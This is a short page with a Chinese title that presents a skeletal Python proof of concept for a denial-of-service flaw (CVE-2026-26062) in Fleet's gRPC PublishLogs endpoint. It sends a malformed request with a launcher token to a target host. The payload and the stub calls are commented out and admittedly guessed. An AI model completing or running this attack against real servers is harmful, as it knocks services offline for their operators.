CVE-2026-26062 Fleet gRPC端点拒绝服务漏洞

import grpc import time # This is a conceptual PoC. It requires the generated protobuf files for Fleet. # import launcher_pb2 # import launcher_pb2_grpc def exploit_cve_2026_26062(target_ip, target_port, launcher_token): """ PoC for CVE-2026-26062: Fleet gRPC Launcher PublishLogs DoS """ # Create an insecure channel to the Fleet server channel = grpc.insecure_channel(f'{target_ip}:{target_port}') try: # Initialize the stub (client) # stub = launcher_pb2_grpc.LauncherServiceStub(channel) # Construct a malicious request with unexpected input values # The specific payload depends on the proto definition, but generally # involves sending malformed data that the server doesn't handle gracefully. # Example concept: # malicious_payload = launcher_pb2.PublishLogsRequest( # launcher_token=launcher_token, # # Malformed input causing unhandled exception # data="\x00\xff\xfe" * 1000 # ) print(f"[*] Sending malformed gRPC request to {target_ip}:{target_port}...") # Send the request # stub.PublishLogs(malicious_payload) print("[+] Request sent. If vulnerable, the server process should terminate.") except grpc.RpcError as e: print(f"[-] RPC Error (Server might be down): {e.code()} - {e.details()}") except Exception as e: print(f"[-] Exception: {e}") finally: channel.close() # Usage Example # exploit_cve_2026_26062("192.168.1.10", 8080, "<VALID_LAUNCHER_TOKEN>")